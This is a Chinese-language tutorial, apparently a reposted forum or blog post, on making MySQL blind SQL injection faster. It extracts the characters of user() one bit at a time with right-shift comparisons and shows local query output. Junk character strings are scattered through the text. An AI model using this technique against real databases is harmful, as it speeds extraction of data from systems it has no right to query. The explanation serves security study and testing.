关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

, r8 _% y" Q1 s  p
9 m! h, }9 E& Q2 v. H3 D
5 D% }2 c5 G, g1 i2 l) t. D下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


# i& L! ]6 y* L2 r8 C
首先执行如下sql语句:
8 }$ S8 n9 b( y( S/ O


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

; ?  W$ `) x; y( V" W) \
' T) ^% y7 j, g4 L# _* t
2 H  g% ?! U' d, c& p我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
' R6 j6 \6 T" `. w+ i* ~; N


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


6 q: C. w/ C+ o( X& }
如果运算结果为1,说明第一位为0,不为1

0 k8 V$ L1 i! y8 G# ]" `" n$ n

% H& ^& y! P" N7 R4 F+————————————–+

1 ]0 |, N; J$ m' x- G' k| (ascii((substr(user(),1,1))) >> 7)=0 |
' P# {: P8 u$ J  P
' a+ h$ _) C# [6 [3 J+————————————–+

" x1 _3 A& I% K: g/ Z| 1 |

2 L$ s) B& _; ?0 e! n; A+————————————–+

$ e; A. C4 B/ Y1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

( H- S9 q: o, ^2 u( R* }8 V
2 U3 f0 t4 j- d: j& u5 p5 w+ g( [2 g
. Y9 s# P! I, u. f第二次我们来做6次右偏移来确定前两位


0 l% n) m# o$ `. [! \
4 W- Z! M" r; L( B前两位可能是01或00,即依然可以与0做比较,

0 g# C* D$ k4 L& S7 J) [9 Gmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

' t: s  G( B$ X- S4 u3 E+————————————–+
/ x% n- S1 A9 q5 z" t" n& m! G8 h
| (ascii((substr(user(),1,1))) >> 6)=0 |

& j* D# b7 \  J7 \; t+————————————–+

: @5 G6 g0 u' ]2 Q* r1 `- B4 ?| 0 |

+————————————–+
! S  W$ B; r! r' s; C$ j( v) Y
1 row in set (0.00 sec)

) J2 C2 r- o( G  {) w

结果为0,即第二位为1
9 I9 X# z: M8 s, m3 ^8 g


9 ~$ l; t$ w- S3 ~( i开始猜测前三位为010或011
1 c: B# b0 l/ B% f* o

2 ]  T2 Q. h: E8 W+ x7 U; E
让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′



: m9 s0 F4 v% X, o% k; R0 U4 z: d获得结果 010 = 2 011 = 3
( k! H, K, n" n* i9 o: @


. `1 W, _5 d4 O/ y3 q' X6 M* P% I执行如下sql:


  _. L  b; e6 X5 C7 X# y
+ J& f% E" I5 l1 Wmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 K- L) X# K, N
  y5 f' _% G% x, F, x( b  z+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
" D$ @" m. k7 {# N5 E- k, r
+————————————–+
6 r1 Q2 {9 B, @* e
: x0 c! g/ C" z6 W| 0 |
9 f0 n* Q& _9 F& X9 d) h  Z& T+ }3 ~
+————————————–+

即前三位不为010,而是011
7 u; i5 C0 U" a& H6 K

& l  Y0 O+ W7 G
7 J7 [4 B6 @5 s. m3 e$ s直到获得最后一位

5 Y" X; }" s6 y

最终结果为:01110010



/ k, v; N1 a) a1 G转换一下:
; ]' x; C( q4 t( F8 J# W  Q( D& W
" W' y& {% P# Y, B% O! D
! ~/ ^! y$ `( I: s$ |7 z) N% o
0 G7 I8 v! d) E# s5 j: `; r4 S1 `8 a4 Oselect b’01110010′
% G: D' X8 _- F2 x7 G


查询结果
, O7 v6 P. t8 F5 g# _
  S4 ~% K: ^  Y7 _3 Q) ~

+————-+
" S2 v2 Z. Y" c$ ]- \
| b’01110010′ |
& F. S9 A- @2 g/ N" k) I9 J' H& W
9 D  }) h/ Z$ b8 R% W! A+————-+

| r |
2 r0 q9 L$ e; k  t9 H4 T
3 m) Q- |& d# P, ]$ {+————-+

1 row in set (0.00 sec)
2 c* |/ q- X- O1 R- F! e% Z& a
$ D0 h+ s2 h+ B% f5 f2 f7 Y
' \' T9 _# A4 z
4 i: m' l" [1 a6 O4 S这样我们就获得了user()的第一位.其它位依此类推
# Z& x* w  d( E! z, U9 S